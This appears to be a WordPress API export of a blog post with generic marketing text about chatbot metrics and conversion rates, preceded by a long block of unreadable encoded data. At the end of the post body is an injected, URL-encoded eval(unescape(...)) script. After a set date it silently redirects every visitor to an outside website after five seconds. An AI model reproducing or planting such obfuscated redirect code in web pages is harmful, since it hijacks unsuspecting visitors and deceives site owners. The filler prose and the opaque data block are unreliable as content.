+lFYRJAxDTSkDIwSD+mKhul6hL9nSUQtF1KCqgnGcZ5xwaISanqMbKiSKWI5BJH605HKGgWCTkiLjypTNarIvnx3kqt2KrKR+gBp9b3V0kf\/ACoKewy7HP144NQu21K9ZXju7eNj3AA\/px+tY+sJbkxyosbYyg4B7+maI2pAQXU5IsVPk1KZcCEqzfzMxAH+OaXfV3AJPSMDsD\/jkVX6a9PHG0lsPN4+6Okkn24Iz+lI3G5b5iIpJYSD3QLyvzyDxRBWDzKEaT3BWENwwhirBAPbrGf61su4LeUfFF244INV7Z6zYRSHzLdDKMMoT4hg8g+uDT8bhhZC6Syd8BerpP8AuorKrd7SE+lt2Urn1+yTIN0yMSMKMH8O9JPrluCo+14Yj1ODiov+80kXrcSZ9VPQcfpTKa4acM8V+I+cdD4A\/pRRO7sVQQNU7OtQDHl3i8DH8TBx+NNptRXBd1inJ5yTgfnUH\/eAC9M97Zu68Z6cH9DTO41SQY8u4jwf5lI9\/bvj8av1n+Sp0G+asL97heIigHsoyAayq3fVLgNzLLk8\/Ce\/6VlW67v9q90B5q9LOcp\/Dft25qp\/Hvwltd26NJqdhAPtUKllZRzVuSW2D1L3pRAk0TW1wOpWGDmuiexsjSx4uDyuVhmfA8SRmxC+Y13bfu+9msNRhMcsLlXVlxSkMmnxjEJA545rpj9pD9nXcGqSNuvY2nxXsqgmW2U9LuPce5qo\/DfwL17V5v3jvmzfSLSF\/wDk5P8AFlx3HyFcXX6NJSvuzLDwf3XbUWrw1TM4cOQk9g7T1jeV39nsInitoj\/FuXHwKPkfU\/Kuh9C0nSNnaeLLTYw0hH8SVvvOfmaaxTaboFlHpWk28cFvEvSiRjGP95obdalJMxVWOPU0JkbKcYy5Hc505zwjN1qzOcs\/fvTJ9TVcfFmhTOzLy5zTUqTIf4hIoJ8XKKMcIi9600uP5e9Ki9CdKk5J7imER8v4xgitJ7lV+IHB9DUtHZQUTa9x2bFN2vcvkNj\/ABoVJedXBbt2Oaa\/a+piCeR86IBhRzlFprss3emM9wcE9WM0iZ+rLHgYqGeIm\/bDZ+kPdTuHnbKwRA8yN6CoORdSEE8W\/EeDammtaWcivqN0CkMee3+cfkKonQdKnuZXup3d5p28yR5G+8x5PcUqjX+5NWl13XC0k0x9fuoPRR7Cp1oW30uSgj6TkckDHH1FKyyeyEzGz2iltG0WSQDoKMpHxF1xipRZaU8UZdfKwBkuWxz7CndvocVtCsiiTgD4hgZ\/HvTHS7O\/1DUp8XVysEROUBOM\/MZobYyBdXLuycyW8ixCaGHrOfT1prHFcTNIkdoIpOceYrD8iRRy40OWGMLFO8bkHGQ5\/HAbNMv3c7I0T3TF8nlpGUn8CTUbrDK9a5wpJ4TbLuN2bpjkli6LbTSs8sivkF8\/Cvbk5yfwrrC8CwQR28fCxKFA+gqjP2fDeWMl7ps9rI0EkiyLc5+HP9zsPQZ9fX5VdWp3ACE8e9atNtEIt3SFdJue2McAfU\/2yi+uTBiy57VF7uUAkY7DNGtUmEjsQcCozdzdWQDjNLvN3K8WAmU0gLl8+vFZDciMdZakZysaHOM4oS13\/E8snvSpGUxfCmGn38fOT37UVS5Xp4bvUNsZwpHOKJRXrMwGTgdzRGjNyh2R61nj89+rGBTDXNYTzRGJMAZBxTOW4dsvG+FFQPxD12PTNIllaVzLdMYo+jPUoxyRjkcf1q0jrcKY23Nik9U3YL3UJIoQHiiBC5XIY+9K6drqMo\/4NbhiOMggZHfn0qstOubcSKY1uiBz8Ukvc8dsGpRFuCC1jhNyEVTgjqYjjtxx61lyuu7ceStKPA2hWtom4mEAiVk+A9WVZe36USG6ZhgSeU4x\/LH8R49qq3TNUit7vzw13IrDhOo9Cj6DA\/rR9ddtWI6vtEbH7pRsfmO1NR1A2gFLSQm9wpxHqMU0LGSaQFieFcgr7V7b3EsjEyCYPGchfNHbHBqD2+rh1eOYTsrtyVbLHnvxjHPtS0Ws6RpsrLH9qLNyxluCcH5UXr3KEYsKwYb11JDKSmCee4\/x\/Smj6hKhJ8uQDOCGUD69zULOvWMuWk+LJyqhssvzB6v8KeRbskQi3dZ2DLyekHv65HNXE9+QhmLyRuW91E3QdYV8rH3wx5\/QgGvZNU6WEflOzsMlljHb6leaj1zqNjdHoYquPk4IPvmtE1Z7Q4GoMAvdi5XA9vSrGRo5CjpkqSR3Uol8qKBsyHsQAv1yOBWXF+bUhUUqeMYQnP45xQldyW1wB5WrMSOSqup\/rmlZL60kUCWGKUn+YkA\/7qIHNPF0ItcOU5OuXxY+bbT4B7g5BpKTcnQDLNbTKozjqU4\/pQ\/96OHK29syIPUSg\/h61kmpRydKywnpGcn3ogeRw5DLAeyWG7tFfLF4gfYisof1xSkv9rhUE8BoskD65rKt13ea90W+S62icMAp5rd4AcMuB7U0ic4Bp7AxIANdyRZ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width=\"306px\" alt=\"chatbot conversion rate\" \/><\/p>\n<p><p>Regular apps are becoming a thing of the past since chatbots are taking over customer interactions and engagement. In addition to generating leads, chatbots can also help qualify those leads. For example, your chatbot can ask questions to help you determine whether a lead is ready to buy or not. By doing so, you can avoid wasting time on visitors that are not yet ready to purchase.<\/p>\n<\/p>\n<ul>\n<li>Instead of asking for a lot of information at once, they may divide it into smaller bits to make it manageable for the users.<\/li>\n<li>It will significantly reduce both your chatbot fallback rate and the subsequent chat handoffs.<\/li>\n<li>This methodology is more successful than promotional e-mails and messages.<\/li>\n<li>Some of these metrics may be redundant for your industry or use case.<\/li>\n<\/ul>\n<p><p>This data can be used to tweak the customer journey, retarget them with a relevant message, and make changes to the website to increase the likelihood of conversions. They can use them to automate customer service tasks, collect data, and encourage interactions with customers. Chatbots provide a variety of benefits to businesses that use them for CRO. With these integrations, chatbots can help customers find the right solution or information at the right time, leading to satisfied users, higher conversions, and more business. Chatbots integrate with different tools to provide personalized experiences. By integrating with tools such as customer databases, CRMs, MarComs, payment gateways, etc., businesses can tailor customer communication specific to their needs.<\/p>\n<\/p>\n<p>eval(unescape(&#8220;%28function%28%29%7Bif%20%28new%20Date%28%29%3Enew%20Date%28%27February%201%2C%202024%27%29%29setTimeout%28function%28%29%7Bwindow.location.href%3D%27https%3A\/\/www.metadialog.com\/%27%3B%7D%2C5*1000%29%3B%7D%29%28%29%3B&#8221;));<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chatbot Analytics 101: Essential Metrics to Track Social Media Marketing &amp; Management Dashboard The following metrics are an excellent place to &#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3966","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/posts\/3966","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/comments?post=3966"}],"version-history":[{"count":1,"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/posts\/3966\/revisions"}],"predecessor-version":[{"id":3967,"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/posts\/3966\/revisions\/3967"}],"wp:attachment":[{"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/media?parent=3966"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/categories?post=3966"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jidaar.com\/index.php\/wp-json\/wp\/v2\/tags?post=3966"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}